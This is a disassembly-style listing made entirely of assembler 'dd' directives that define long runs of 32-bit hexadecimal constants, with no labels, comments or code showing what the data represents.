dd 3780827Ch, 2DA3F88Ch, 1F35179Eh, 2D1B14Fh, 2E455F07h
dd 16566885h, 904137EFh, 44BC5F57h, 0F435B02h, 52D4A48Dh
dd 7CCC08E8h, 37166263h, 0B2545EF0h, 954E2AD7h, 386D00A9h
dd 68591E9Fh, 0CDAC22E2h, 0EAE48720h, 0DB6F6042h, 29126C7h
dd 114BD0B8h, 0DE786FF1h, 5CA368F0h, 0C5C9599Dh, 4A02CBC7h
dd 0ED5096B3h, 0EC0D16F6h, 93F5B412h, 70096279h, 0D2993BE9h
dd 16F3046Fh, 0C20C3A1Bh, 11F7A8E9h, 0FC88568Dh, 5B173FA4h
dd 0AEB1D16h, 8CF1E28Ah, 0B80AA71Eh, 7D240302h, 0F8C5094Ah
dd 16C18BFh, 122863DEh, 7644E02Fh, 0F5BA9512h, 304C1E73h
dd 0A9A57EE8h, 9D41347Eh, 356E39C0h, 0AED7C5E6h, 0BBE97C90h
dd 5042C08Fh, 3C646856h, 2F61D794h, 0E9F1E658h, 0FDC2BFCDh
dd 0C64F32D1h, 0B5375AAEh, 0CC9F3FF2h, 97EC9550h, 12061020h
dd 0BDA015Ah, 0D804D3B5h, 0DFE1A89Fh, 7A41FBD2h, 56595451h
dd 0FA45342Ah, 0D2CE94E0h, 7FA2B1C2h, 0BEC746B8h, 0A514E2C8h
dd 9CB1848h, 2B3D731Eh, 40F503DAh, 2E20434Fh, 617566DEh
dd 0B834E902h, 75AFCAC4h, 0E964EE02h, 41B04285h, 314638BBh
dd 60CE30A8h, 22E47203h, 50975A52h, 15CC0CBEh, 0E9F7C675h
dd 0FFDCF72Ah, 0BD3AAC20h, 67088C50h, 0A5C8901h, 12982DE7h
dd 7AB0469h, 0E9C7139Ah, 0F75CEFF0h, 0E9170B24h, 99B03A52h
dd 29809A75h, 9E07BBD9h
dd 6A684601h, 804B7F13h, 7E0EAFD1h, 0C121B601h, 887B30F7h
dd 805BF800h, 9E9F9C5h, 0D8C59722h, 6C73BC0Ch, 90B70953h
dd 0E6D6F988h, 1393B058h, 0A13023B2h, 0A8F32A7Eh, 59CA28B0h
dd 2D93EAE0h, 2EC9BFB8h, 7A1237D0h, 269CF646h, 0DC2E2099h
dd 13890F1Bh, 6F9FD9BBh, 63970B88h, 89C6010Bh, 93EEFC26h
dd 0EB5EC458h, 0D1906EA2h, 0ED17DC49h, 5B3608D7h, 10B25205h
dd 9F23A188h, 14E2F660h, 6C70EAF0h, 7456A6C4h, 8283550Bh
dd 0CCA50920h, 5CB702E9h, 93090EAh, 0F016E9C5h, 0F30D045Ah
dd 0C1220A4Dh, 0A5C11C1Eh, 62E454DCh, 770B7211h, 5C3BD500h
dd 81005E1Ah, 25DD3CFh, 50D7F778h, 12B5B347h, 16C4964h
dd 622C6E32h, 0E2A8221h, 0D5789B0Fh, 6054CEE0h, 824B063Eh
dd 515C5AF6h, 18E8546h, 232B9801h, 0EC6ACF25h, 0B60973B2h
dd 6097851Fh, 9786E940h, 0DB5D9109h, 47F94A54h, 0F72D9889h
dd 0C59CB96h, 23A60435h, 0A0AD6E6Ch, 2571AD1Ch, 90824DD5h
dd 154996BAh, 5F38D787h, 0A96722E9h, 3F622649h, 714FC169h
dd 0C9049C72h, 0E062675Fh, 95FE52C7h, 60325B55h, 0DF6576Eh
dd 4BBBE35Fh, 5B91B4C7h, 0AAF4F89Ch, 7EEFA3C9h, 59CA0E5h
dd 7C2D42C7h, 0A989C210h, 94505BFFh, 2B01E950h, 0B813744Bh
dd 2C3B30DEh, 3F82925h, 0E203E409h, 8175FA50h, 5B205808h
dd 0CB6B60A6h, 0A4342DCBh, 0C9267863h, 0E9F48926h, 412A1DD5h
dd 0D30D8424h, 0B7B16E2Fh, 896C0AF9h, 13A55E2Eh, 0C0E2FC2Bh
dd 63913262h, 0CFC50481h, 0BB55FF10h, 304A17E8h, 81EDD156h
dd 2215CD03h, 4451307h, 0A55F30D2h, 6AC2FF0Ch, 79D689E9h
dd 90680487h, 6CBFB67h, 95FA0113h, 0A6B1EEEFh, 34838B2Fh
dd 0F482E480h, 4943D79Ah, 0F4882A0Eh, 78E36B53h, 965EFA97h
dd 60B800C1h, 5479141h, 0F7FDFCE9h, 133CF495h, 0F174284h
dd 70E90780h, 7E2E3040h, 44085B44h, 9A4A2E4Bh, 0A40EC3A6h
dd 8331FFA5h, 983E0E9h, 147F6816h, 0D255979Ah, 80643001h
dd 5AD60918h, 0A7EEC128h, 0B356E62Ah, 59F621A0h, 0DD20101Eh
dd 28E2D696h, 2981688Fh, 255F0F86h, 5474929Ah, 1B6E7C0Bh
dd 45B1F19Fh, 97C9D36Bh, 892CDCC1h, 455EF049h, 0A028884Fh
dd 8F26A324h, 9EE89D13h, 28AE8A5h, 49E918B9h, 1BD2D589h
dd 0BC10C8h, 12AC0559h, 24B8370Ch, 461F32D3h, 99F42738h
dd 57F304Dh, 0D5781FDEh, 0BBC1AA12h, 0B150AB2Ah, 24BAEEDh
dd 8F0F499Dh, 387BF7C8h, 0F26FC4C2h, 6E00B05Ah, 0B21276FEh
dd 496883B4h, 0F3AE847Ch, 9EEDC9ECh, 0DCD99D45h, 0F501E961h
dd 0C4E64674h, 0AA060A8Ah, 1B40FC2Dh, 5C883F85h, 2710063Ch
dd 0B3E90D49h, 0E7010ADDh, 6F9CCB14h, 0EFE892C0h, 5AD63CB0h
dd 5E5AA374h, 6E47C2F5h, 64A320F2h, 0C8C24BBDh, 0C76752B8h
dd 0D3CCA60Bh, 5A3203C3h, 8F661FE8h, 69788018h, 0B0D4826h
dd 41C43B51h, 8038AB54h, 447D5B63h, 0B90BF0E9h, 3522AD50h
dd 0BD2E6h, 0B750C0EEh, 18169F71h, 140F024Bh, 0B3C82BEh
dd 0DDF95F4Bh, 8131E525h, 6CB07193h, 1ED0E2E9h, 1D4E8490h
dd 78BFB816h, 8E60D538h, 0AC21EE59h, 0F87E7635h, 160404B7h
dd 84F10156h, 65081420h, 39D4E486h, 211E41ECh, 6FD3C208h
dd 12B97CB0h, 1AE34511h, 7ED4D2E2h, 8061C02Dh, 0D0FF82CFh
dd 3B190B6Ah, 554459h, 5D3E2510h, 0A00D4AD2h, 0D17C08B8h
dd 4405195h, 0EBF6850Fh, 0EFF2D840h, 565B5EAh, 55E9D631h
dd 1C4AE3F4h, 98A70A68h, 91012166h, 17274A58h, 887CC21Bh
dd 86A5B842h, 0EF528355h, 2CC1E902h, 0F86C631Fh, 844FD13h
dd 18CEBDABh, 872EA216h, 0C94F98F7h, 0B2055608h, 0E224BF71h
dd 59280FBBh, 49D11292h, 7C541449h, 0C353F472h, 6003B265h
dd 7447A6B9h, 1C98054Ch, 0E0640469h, 0E918D990h, 0C3E76F15h
dd 0CFF312CEh, 0DA0EAF12h, 0BD552041h, 16BC9E32h, 61E901FDh
dd 8CCB295Eh, 6A68039Ah, 67E52F2Dh, 58438977h, 145F4B97h
dd 712FA7D9h, 0FCA69859h, 2EF3C916h, 946A5E16h, 31F6E0A0h
dd 27EA4C1Fh, 0F97C88h, 356937BDh, 0FD308779h, 0F5810647h
dd 482F7FB0h, 7C009008h, 0E98E35B9h, 7AE1074Ah, 0A75E0EDBh
dd 0D7CD404Ah, 0F732A595h, 52DED2C1h, 5B279830h, 6ED59047h
dd 438E77Eh, 5AB949E9h, 210B0F6h, 747F89D4h, 78C383FDh
dd 0B4C72FA8h, 0D00FE404h, 0C8F97FE5h, 93EF649Bh, 0CFFA886Ah
dd 18A4FF1h, 58CCC4EFh, 0FB0B133Fh, 0EB43B006h, 6C6008A2h
dd 71BC90E1h, 36CC68E1h, 0EED07E7Ch, 5A2F055Bh, 4CD4FB05h
dd 0A714A5FBh, 4DE3D639h, 0F878C4A2h, 58273F48h, 534A3239h
dd 0F0D1F7CEh, 1DC17863h, 0CBE5B00Ch, 7154B829h, 0F3D9C787h
dd 0B2AEBC05h, 0B2E916F5h, 59AB44BAh, 7F65D919h, 243B52F1h
dd 3F8DBFC0h, 0A49E9565h, 5016FAh, 4DDDE115h, 0F9770EBh
dd 43E40135h, 0C8B470Ch, 55533C7h, 9840F8D8h, 9F6E5CBEh
dd 5EB93504h, 0EF4D820Bh, 18241877h, 0DBA3C5B6h, 7E7EB32Bh
dd 90834427h, 0BF5FB90Fh, 0CF841FE2h, 2572E96Ch, 574AC22Eh
dd 0D4C9D2D1h, 1F10A633h, 0F2B513E9h, 873131FCh, 4055C7Eh
dd 5590560h, 0F5C74DB3h, 40002DF8h, 47830FD8h, 2E13C44Dh
dd 76BF64BBh, 1D2DC098h, 3EBDA240h, 57AEA44h, 8FAD58A9h
dd 82B17A1Ah, 0A864875h, 3188B2B0h, 0A30BE23Ah, 0A9D97BCDh
dd 0AA6C9CFDh, 4FB2CA4Fh, 0A3D9ECE1h, 9641040h, 575E01A1h
dd 0B70AB4BFh, 0D003707Fh, 20AE0382h, 0B9632D27h, 346A1D5Ch
dd 2D84DB08h, 276494F6h, 0AE005EBEh, 0B5F60174h, 0AC0E7B40h
dd 3A0BB40Ch, 0B9897DAFh, 532FE0D4h, 5B540906h, 0E570DBF6h
dd 12283C37h, 824D5ACh, 0BB6002A3h, 126643BFh, 81EBC163h
dd 4B3227Ah, 0EADE85BFh, 0CAD7CAB5h, 6F5676C8h, 0BAD99BC5h
dd 5830F2h, 0F8E2CE17h, 0D34A25A1h, 5248287Bh, 0D827E1ADh
dd 0BEE6E9A7h, 30B9F661h, 0E83D30F5h, 0BD5E0D98h, 4F3737A4h
dd 0D236B952h, 0A5123516h, 0BB80140h, 1C18D124h, 0D3C78957h
dd 9030E259h, 1AD649D3h, 77547068h, 68412753h, 317B51EEh
dd 6C64FA93h, 3F09C04Ah, 69BD0FBEh, 0C00B0Dh, 0B1809202h
dd 0C8881C81h, 66C7C759h, 0FFB60C58h, 0C6F2EC5Bh, 0A7A02C78h
dd 0B668C740h, 1422B34Dh, 65B3258Dh, 568C7171h, 0B66D2512h
dd 0ED5A125Eh, 2AF9D39Fh, 2A8DF10h, 7BF9ED81h, 0CDD3C036h
dd 0D71102BDh, 0E125E96Fh, 2677177h, 48654161h, 0A5C100CAh
dd 0C343812Fh, 0FD97309h, 462CE5EDh, 0FA5D5F13h, 2D0040CEh
dd 128D7BD8h, 29623868h, 0E4C015B5h, 67A45D5Bh, 0B05BA25Ah
dd 0B48F1AE9h, 97B45069h, 4B2BBA92h, 0B500D337h, 0D1435C54h
dd 28DEBFE8h, 9ADAEB40h, 311224D0h, 74722FF5h, 9EBF620Bh
dd 326C8F05h, 9D94B567h, 75FB5B97h, 96FD5FABh, 3DE91B8Eh
dd 6BAA8FC1h, 98F08818h, 46D36589h, 8853C428h, 0F0A8A503h
dd 0C309C281h, 8352B907h, 4B9EF09Ah, 8944BB2Eh, 5C036398h
dd 15223CD2h, 0CA011E8Eh, 44A91757h, 0EFC28373h, 0CB4B349Ah
dd 0FCE5F75h, 0DC4A3322h, 4116DDA2h, 11C0472h, 1037C4EBh
dd 0A94EAE08h, 4FE913A4h, 0B92CA49h, 954E78FBh, 18829CF7h
dd 226EEFE9h, 36EA05ADh, 2915B40Bh, 0A12B46D8h, 202A991Fh
dd 5AA008BDh, 647EDC27h, 7CFA0912h, 7B5D1BEEh, 800C2034h
dd 0A1696792h, 0B06F2D41h, 0C65C316Ah, 2BE9E0C7h, 2D21B295h
dd 8E546E97h, 5A8E0C9h
dd 657A3F1Eh, 56D02980h, 271960BEh, 24CC6CC5h, 0B8B534EBh
dd 146181C3h, 0C3168FEh, 0BE8C7BD2h, 2516C51Ch, 534238D7h
dd 174E5AE9h, 790BEE50h, 1764742Ch, 3739EB8Fh, 1C6F3288h
dd 998A5B1Dh, 5CA61841h, 9A593E10h, 37C16817h, 6DDC72AFh
dd 33B926A0h, 17605030h, 164FFDAEh, 0D1CDA15Dh, 64FD26Fh
dd 2C48DE62h, 884F02B0h, 808B40FBh, 1A68C3C9h, 0B136F99Dh
dd 508BAEC6h, 2521F283h, 0F74AE409h, 0D9695DD2h, 1CBEE080h
dd 85608E90h, 715AE52Dh, 0B07A4BA2h, 37274E65h, 0E665F82Dh
dd 0B938C0C2h, 581D4B12h, 65BDD5F8h, 9ED9ADF1h, 24E4D63h
dd 0B8C7C61Dh, 5F785783h, 0B69AFD20h, 2D90AC02h, 73EC2FFDh
dd 80D18EBh, 8A2AE9CBh, 992F85ACh, 5B02F024h, 0F739F889h
dd 641C92E6h, 0EB3B684Ah, 777CA0CAh, 0C39BC0B0h, 47146D50h
dd 3049DDF6h, 3408181Dh, 9FB5AA2Bh, 6869D3F4h, 3EFA25h
dd 15B3CF3h, 753E9DEh, 9AA92BE1h, 0EC2C5684h, 939EC6FCh
dd 28C300BBh, 0F266808h, 0FD6BBD82h, 3AEB0019h, 2FE98642h
dd 1BDFDBB2h, 50CAD2DAh, 548EC56h, 8A763635h, 8442F260h
dd 2CFE585Dh, 5A02574Ah, 0E983546Ch, 0E2B64001h, 852A4822h
dd 57C4BA00h, 0CA813337h, 0A4454E0Ch, 12970C7Bh, 0FE39B856h
dd 38F07741h, 2E25585Bh, 6EFCE961h, 71658CBh, 95E95009h
dd 0EDF04666h, 4C2D74BDh, 809FC322h, 0D7870F1Bh, 81CAB672h
dd 71682ABDh, 18A46A31h, 5AB19551h, 52C5402Ch, 5374F8B6h
dd 0B77FB20Eh, 5AD700BEh, 0B74EEF80h, 0F682925Ch, 40DC88D3h
dd 0C701EC9Eh, 61C0CA06h, 3EC4FE08h, 0CF1F9F8Bh, 1B775C80h
dd 0BEAC30F4h, 89BB1A65h, 560E203Eh, 5B22AD59h, 0A7E9CEE5h
dd 9D5E2D38h, 18443AB6h, 0B807995Fh, 20A8F0FAh, 5500192Dh
dd 0E0C14007h, 1EB33502h, 0F9B0BDA9h, 9459A484h, 78D9803Fh
dd 144AB67Dh, 6E92002h, 8794F488h, 0A225F8EAh, 3E563961h
dd 0FA05C880h, 512CEB29h, 91A0CE59h, 2574E0DCh, 2F78387Ah
dd 0B1303D90h, 11C5BB18h, 891F09DAh, 880E801h, 49592DD0h
dd 0E92F12ECh, 53970FA6h, 394C70E9h, 0D6842E7Ch, 4244400h
dd 550B5FDBh, 974E9C57h, 0C5EB907Dh, 0A4A0995Fh, 0A8ED096Dh
dd 6C848568h, 800502B9h, 4C815C3h, 1809A1Dh, 0A5E3814Bh
dd 0F13A787Fh, 2A576563h, 60BF2DAAh, 6BE1780Bh, 0CBDE1FE8h
dd 0C2710773h, 0B058542h, 0F207FF58h, 5AD5309Ch, 0CC965289h
dd 0C509F864h, 4EA1FE95h, 0FC78A1F6h, 567047E9h, 7A4B5695h
dd 1BCD143h, 31D5840Fh, 0E3608189h, 48C65Dh, 79CD6CBAh
dd 9ACAB6BDh, 73A8E15Fh, 0A1B3E84Bh, 657062C2h, 4D0CC752h
dd 0E973A027h, 8DC1881Ah, 337CD9F3h, 0D224803Ah, 244AF4C6h
dd 1064A6E5h, 3878192Dh, 259CA206h, 0A7C07E9Ah, 0D5495EAh
dd 0F20134EEh, 5E080264h, 0B1D9A2F5h, 7571F5D2h, 75A7CF1Fh
dd 0C89C9790h, 44940082h, 31C9C280h, 0E870E2C0h, 0F5B307AFh
dd 0A617C16Ch, 5F8BF768h, 814217ABh, 80756177h, 6951D92Eh
dd 0A9CE255Fh, 394DD92h, 0BFC92020h, 0E9414A73h, 0FD3E61D2h
dd 0FE4A7812h, 0F4009F94h, 0AE2429Dh, 387D9A29h, 0AF5B4DB8h
dd 4BBEF836h, 1633CE7Ch, 49EAF1F6h, 4FB0573Bh, 9ABC9568h
dd 3AFC5417h, 0D776BFB4h, 0BA0A0AEh, 10888099h, 15F4FEEh
dd 8F59BEB3h, 0EF3E167Dh, 7B4D0028h, 55377931h, 0ED0FE910h
dd 4C63A148h, 102FE68Ah, 9C0BFF29h, 90508FF4h, 36688084h
dd 93C22E5Dh, 82F785ABh, 0F7EE357h, 3F685560h, 34FA8339h
dd 0E077E64Ah, 2715EB79h, 99580C09h, 8C0F4309h, 4BB0A768h
dd 0F7BC8A71h, 44A6443Dh, 0A7228D1Dh, 80C5FC67h, 7E074FE2h
dd 14C2E3D1h, 7E592EE9h, 2D98BBA4h, 9FF653AAh, 0A036C1Fh
dd 0D2BBEE52h, 0CBE129AAh, 73802C4Fh, 8D5ED60Ch, 9D0C16h
dd 2D63596Fh, 264B5FFFh, 1996F6BFh, 2FF13DA4h, 4DA2AEECh
dd 0D53F8957h, 69A8674Eh, 3BE187BDh, 0AEF586ACh, 4122A8A4h
dd 9B2C3A5Dh, 0CCBAAF0h, 2CC027EFh, 17A906EDh, 0B0CB0F1Dh
dd 4C6177Ch, 0ACE5E9C8h, 7CEA4E08h, 6082A8DEh, 2E679DE3h
dd 173B9Ah, 0E875349h, 2F9FC4E9h, 489F61FDh, 80705DC3h
dd 939B62D7h, 0EB467947h, 0B721CB82h, 6F59CB88h, 0BDBB2CC4h
dd 6D751A35h, 0B683752Ch, 0E008A26h, 6F83B850h, 4CF7590Ch
dd 7D0094D8h, 0D106136Ah, 70E581E1h, 1C0976DCh, 0F528D5E9h
dd 4BD17AB3h, 8CC968D8h, 5A88198Ah, 0C110B964h, 5150D6F6h
dd 0AC7BF1F9h, 121BD0DCh, 88F882E9h, 0C60DA65Fh, 0B2F9C151h
dd 0D5F732DFh, 5FC94FE2h, 273BB8BDh, 0A578D421h, 0FF97A29Ch
dd 0ACC205A0h, 0CBB82E29h, 35F9DA7Dh, 0B5F07A5Ch, 40324B38h
dd 0C42D0739h, 8149108Eh, 39E90B6Ch, 0A33B4963h, 0AE4BA638h
dd 0EB1723CEh, 0DCDEB55Bh, 78BE26B2h, 0CCEB2992h, 0A7B7A6DEh
dd 54D9CEB6h, 24F0E992h, 2AA0F09Dh, 82EE6A53h, 4DC55FF8h
dd 3FC944AFh, 0A65E1EE9h, 0A212104Ah, 5AE5A85Eh, 41C74BE0h
dd 9840401Bh, 247CF15Bh, 0CD418973h, 0E9032A83h, 0C3092C9Fh
dd 5D84C0C6h, 271247C5h, 14E435C7h, 3AAC39FAh, 32DB2BAEh
dd 55637055h, 8901845Bh, 0A52D5FFDh, 0FE0BE242h, 4B072067h
dd 6BEECD5Dh, 7540FBF5h, 3D103C4Dh, 0C07BE91Fh, 7F48054Ah
dd 3501742Bh, 93EB780Ch, 7E70C101h, 9B78D35Ch, 8CFF4A61h
dd 68125008h, 56F345CCh, 0E061A007h, 5FF8807Fh, 0AAE4C7BEh
dd 0C629DB01h, 1EE8358h, 25260A30h, 29875B67h, 4A010F72h
dd 77654CE9h, 58F0436Ah, 0B2BD5B65h, 2A3DEE98h, 0C9051E90h
dd 64B913F5h, 0F6A07FEh, 0A65C6B8Bh, 5A9C542Fh, 711A32FDh
dd 92DFE9EEh, 9D6FDA6Ch, 0F95B0D66h, 38EA2C12h, 0AF419EA8h
dd 2534AC6Fh, 0CA98E265h, 55D95D78h, 2F163C90h, 25A8CF63h
dd 0BACDDD5Fh, 307FAE27h, 1F57680Ch, 6A45F7A5h, 0FA03930h
dd 0CD897C9Dh, 0D940C0A9h, 1CB51C8Bh, 258F3120h, 472EE47h
dd 9639E2AAh, 1201B50Eh, 4F4EA7FAh, 61E92398h, 0D0F70B6Eh
dd 89DE6093h, 20618D25h, 0C8310B39h, 0D98CC214h, 0F07D74B5h
dd 0EA7A245Fh, 12556B4Eh, 0C4015D9Ch, 0E2D06858h, 27F1957h
dd 0EB7E6DAEh, 4769EC54h, 6E90640h, 41A3EF5Ah, 4F17419Fh
dd 79533121h, 82C60130h, 87107E03h, 6B2E0570h, 57727150h
dd 95B568B7h, 0D931805Fh, 8D6CBE4h, 1E683302h, 48195744h
dd 0C9536858h, 47D38759h, 5D6E5509h, 2A1EC4BFh, 0BA0145Ah
dd 753C36F5h, 52CB7F0Eh, 68C1C47Eh, 0A500528h, 954EC8E9h
dd 7BB96DCBh, 45902BBAh, 4ABE581h, 0F702421h, 7F88B887h
dd 0BC7632A6h, 875F2B86h, 0ECF415A2h, 0EF640A65h, 0B5051CA4h
dd 8FFE42C2h, 413179AFh, 3A9CDCE9h, 0E6817888h, 0C9771F73h
dd 527D9640h, 91A0EAECh, 880909D3h, 414A5D7Ah, 0B758A04h
dd 0F9E904ADh, 775BA7C8h, 59D97B13h, 0C8415255h, 0CED1F20h
dd 4E436415h, 3E3B3728h, 1E7DD1Fh, 0AD18E2CFh, 0E9C44F74h
dd 0F5975448h, 0EBFECBh, 12E5514Eh, 1A77BE56h, 649D14E4h
dd 69090556h, 0E8597666h, 3E9E074h, 81C4A8C6h, 3BC809EAh
dd 28555017h, 782F0886h, 0B8854E3Dh, 4C68F11Dh, 4C76AA2h
dd 0BEE942B3h, 0FF6495A0h, 58FD71B5h, 1885AA04h, 9D08EDA0h
dd 6234A661h, 82831AF2h, 40D40Ch, 302B275Bh, 0BDB6DE89h
dd 0F720576Bh, 1905F1F6h, 65C95650h, 3F447617h, 0B41B0044h
dd 3E97CDEAh, 80BAF895h
dd 2E3A313Dh, 488C0A0h, 3E6E4924h, 0A55B873Ch, 8C6C17Dh
dd 20C49806h, 54909A4Eh, 5A4CE6EEh, 3AC681BEh, 0F3ED3B1Fh
dd 0EB5F6FA5h, 30AB7D61h, 801AC061h, 0FEBDAECDh, 0DC589429h
dd 349F507h, 9796C413h, 0F0C43E0Dh, 0B699EA21h, 87AF8561h
dd 310FC6D0h, 89B9098Ch, 0E23A28FBh, 0AB7E093Eh, 7FC7DD65h
dd 29C4E909h, 0EC53838Fh, 0E171A46h, 79C04558h, 77012576h
dd 555D515Fh, 0A1CCA768h, 0F03FEF26h, 93608055h, 7370CD2Fh
dd 0DF5B49D3h, 0A460F502h, 0C97F8FC3h, 132F833Ch, 4F9DE847h
dd 9D922BE0h, 6CB57570h, 70DB959Ah, 4E00642Dh, 885D022Ah
dd 0FA5558C2h, 0B598A0F6h, 0EF7A4A3Ah, 127F268Bh, 801D8F58h
dd 533A352Dh, 0E91E9315h, 13F84BB4h, 0A5BE1421h, 953050AFh
dd 0D56950D1h, 5556169Ah, 673926A8h, 862A469h, 8005E100h
dd 60A0E926h, 6BF14BF6h, 6458062Eh, 40592D7Fh, 20262BF5h
dd 8C096216h, 0C0B5145h, 1441105Ch, 0E08AD6BEh, 9DE9107Ah
dd 3C68096Bh, 91A5B050h, 5520BD75h, 8F60D9C6h, 736B5Ch
dd 6D7F2140h, 0E19D3AE9h, 0F1D8AD2Ah, 7A38E9h, 3C4705C9h
dd 0F0921A5h, 4B606880h, 0DEC0EDD1h, 0B00AEB7Ch, 710420A2h
dd 17D12D1Eh, 85C5DBDEh, 40AB7D6Eh, 0CD26C56Bh, 0FCB04E20h
dd 6CE9DF4Ah, 0F959C8C4h, 9FD1124Fh, 687D60EFh, 2AE11C3Fh
dd 0BFB4CFE8h, 7398C50Eh, 0F6E062C9h, 0EABDA8E1h, 0B72413DDh
dd 0A7680017h, 29DC8846h, 33BC5897h, 4328A1FFh, 0A3E6B416h
dd 0CC1839BAh, 55512CD6h, 4353D54Bh, 311706BDh, 12BBDCF2h
dd 0F9DCAF70h, 0B103496Eh, 6E559D1Ah, 6446FB75h, 4E2DB357h
dd 10E01E17h, 0C7AD5D85h, 0A185915Bh, 80FA04B2h, 0B7778458h
dd 0DBEA93C0h, 2E1217A8h, 25BF5E52h, 0D5F6BEC0h, 25562B5h
dd 7774DEh, 886EC580h, 3AFCEF58h, 86225A6Ah, 59D3FD57h
dd 5B0731A7h, 5A773C29h, 1844B7CDh, 0F59527A7h, 82611372h
dd 0BA14A03Ah, 0C53BBE89h, 895DE9E0h, 0BF457D5Dh, 0F67C790Bh
dd 41289832h, 6FE18C93h, 4C2694F7h, 0EAC189BAh, 0E8D2BA60h
dd 62E1EB7h, 873D5EBAh, 55E4DE64h, 31251902h, 7C23E9DAh
dd 3EB40B63h, 47CD5506h, 7B47CF05h, 13C34D07h, 7F6FB04Bh
dd 0D25A9D01h, 5B95D20h, 344880BAh, 0EBC4BB75h, 2DACF0Fh
dd 0E24A060Ch, 0EC6B774Bh, 6B1C7EBEh, 0A8B05703h, 31B32024h
dd 88A293Ch, 66590090h, 81B13851h, 0E078CB3Bh, 0EB803CD3h
dd 19C32FF3h, 84609FC0h, 0E31DF99Fh, 765F6232h, 0AFF4F2ACh
dd 5C0ED204h, 260513A3h, 422AC4Ah, 45DBCB1h, 0D0FB295Bh
dd 0C32BCBC7h, 0C8944B7Ah, 395166ECh, 0AA5ED188h, 2D3BB946h
dd 0B15D4A60h, 3AB86A13h, 4A21BBD3h, 9CCB53FFh, 0C4288BEAh
dd 7EACF3D3h, 0AD3291C5h, 5E578921h, 7F3E003Bh, 9B90E29h
dd 0F94FA671h, 75BF46DCh, 0F462D10h, 32A5C97Ch, 0A459579Eh
dd 17CDF758h, 0EB07765Dh, 0A4620ACAh, 421A48B8h, 0BE33C81Dh
dd 3A651E8Ah, 0B0819276h, 499D5904h, 58640DBDh, 4F2DFE57h
dd 0E455529Ah, 55CEB378h, 0A8A2E4D9h, 7110CAE9h, 83B01F25h
dd 3DE0AA52h, 0FDD04B21h, 452D84F0h, 0DE2FF4BDh, 9C579455h
dd 0E75069F9h, 0A183294Ch, 0E23BE278h, 0D7588947h, 75501782h
dd 0F52705F1h, 0FF2D9D17h, 0E11CD504h, 0C5693E33h, 4E431230h
dd 0F1E2A993h, 0B768E745h, 0A2C20987h, 0EBB402DDh, 0ABF20128h
dd 29BACC4Fh, 6FC6F52Bh, 0E7303501h, 0FDD05866h, 90E8E05Bh
dd 98025A0h, 7DE9D55Ch, 2C7C760Bh, 979161D2h, 344B900h
dd 80ACC44Fh, 3BFCC000h, 0ADE4E9A4h, 0C1BC13BDh, 646CE3B1h
dd 9BABC4h, 0B850D701h, 511E0003h, 5973525h, 2D011831h
dd 66F85EF9h, 0DAF0D8F7h, 69F0B71h, 69A92BE9h, 3C8BB1D4h
dd 0CD13C901h, 951A26Bh, 0D7DAED80h, 0B34584D9h, 14DDB90Fh
dd 9E8EC484h, 0E27BE00h, 46016872h, 5575E681h, 6C707DEEh
dd 0B3781712h, 368E0039h, 51A2157Ch, 7BF18931h, 0F7A65DDBh
dd 79441995h, 31FC4D45h, 4252C8D3h, 8B0F4C06h, 1193907h
dd 0B5E0E3C2h, 2A31E9B0h, 925EEB13h, 0F948E70Ah, 0F1F031C2h
dd 0ABD26298h, 4214D455h, 0C972A580h, 61B2D00h, 9305794Ch
dd 69AA0A67h, 14CBDE9h, 0F812B5F7h, 0E18EC7Dh, 8F0865BBh
dd 2CAC0757h, 0C01E82C7h, 0A1C4445Dh, 5C028759h, 3E5EF9FDh
dd 3D092927h, 5C253ADEh, 0B3A44F4Ch, 1632B4B1h, 19B5279Ah
dd 9E7547EEh, 139FE979h, 5F9E8097h, 1F17FCB8h, 8BEE1488h
dd 0A75524B4h, 0E382028Ch, 3950BC3h, 0A8DF59F0h, 5A090854h
dd 88465750h, 4F495297h, 6990ADEBh, 9C2BF540h, 572F9F70h
dd 0A8947DA9h, 1A9BC29Fh, 80CDF4A0h, 787619ABh, 584B7D68h
dd 0E983DBE9h, 0FD10A942h, 0FD4B7F3Ch, 763092F7h, 809572E9h
dd 37EEC828h, 0CD686FC0h, 0F4786F1Eh, 5E5697E5h, 8EFB4A3Ah
dd 10AA4288h, 0B61DAD2Ah, 0BDA3D340h, 635125DCh, 0B80C5FD5h
dd 30D30E4Ah, 0DDB1D2C8h, 5CA57C89h, 5E0CBA77h, 0A91622Eh
dd 2829410Fh, 8744F8B5h, 9418A2FFh, 20564FECh, 0A109871Eh
dd 66849973h, 3EE172F2h, 0B6FE503Bh, 1DC8DACFh, 98950950h
dd 6546E911h, 0EAD3B39Eh, 663F8087h, 24167134h, 10B8F821h
dd 6EF84F16h, 7C6F8410h, 0AF56E830h, 277721BAh, 82F00C0Dh
dd 4DAF735h, 0D7BFFB0Bh, 0FEC16193h, 0D1109DAEh, 0EABF33E4h
dd 6AAF3303h, 96A7E8F8h, 0BC89B9CEh, 2194DF16h, 5EE36ADh
dd 0F262D080h, 127A5B5Ah, 0B1C2EB00h, 0ACC7DB60h, 2FE92223h
dd 0CFE3315Fh, 60F9C682h, 4B57561Eh, 0D9FB6D52h, 20A30621h
dd 5BECAA30h, 3D163BEBh, 59A5361Dh, 3BAC16E1h, 40A720F0h
dd 5E72046Fh, 70C0EC2Ch, 85A95F3Eh, 0F7E02250h, 0E3DACB21h
dd 0DE89840Ch, 8297B9E8h, 3E0D4CFFh, 0DFADEC2Eh, 9A9DD540h
dd 0F683E494h, 0EF32C9C6h, 0D5DD89CBh, 682F8944h, 20025A9Bh
dd 0B082ABADh, 44BF3482h, 64B06801h, 5953258Bh, 774B60F4h
dd 0EFACAE04h, 0BB2AFE8Eh, 24F69FC9h, 0FD7BE971h, 6FC1D666h
dd 1816340Dh, 43BF5700h, 0B908C222h, 0CF8716B0h, 717F840h
dd 2FFD6856h, 5CBD1424h, 0EA2EE8Eh, 52D55C0Fh, 0BB30BE9Dh
dd 25C32710h, 65E7D557h, 399275A7h, 69C65BFFh, 84D95B57h
dd 0D42B62E9h, 6BB8BB2Dh, 92DDA94Ah, 5EF8F2AEh, 0D9F62081h
dd 2DE91930h, 96579011h, 0B65EFC07h, 0EB051392h, 63A47DC7h
dd 0C704CAB2h, 0EE21165Eh, 0ABCC5CB1h, 6DFA1C67h, 0D05297E9h
dd 880F0834h, 0FF71687Eh, 0E598DE97h, 0BBFA5614h, 6684114h
dd 76BA4DD8h, 0E593C66h, 49687A86h, 0F4259B41h, 1F22496h
dd 40FB6842h, 2E625E56h, 9018553Dh, 39203A8Dh, 40170411h
dd 81455557h, 285FE96Bh, 9A5024AAh, 5E25AC10h, 954986E4h
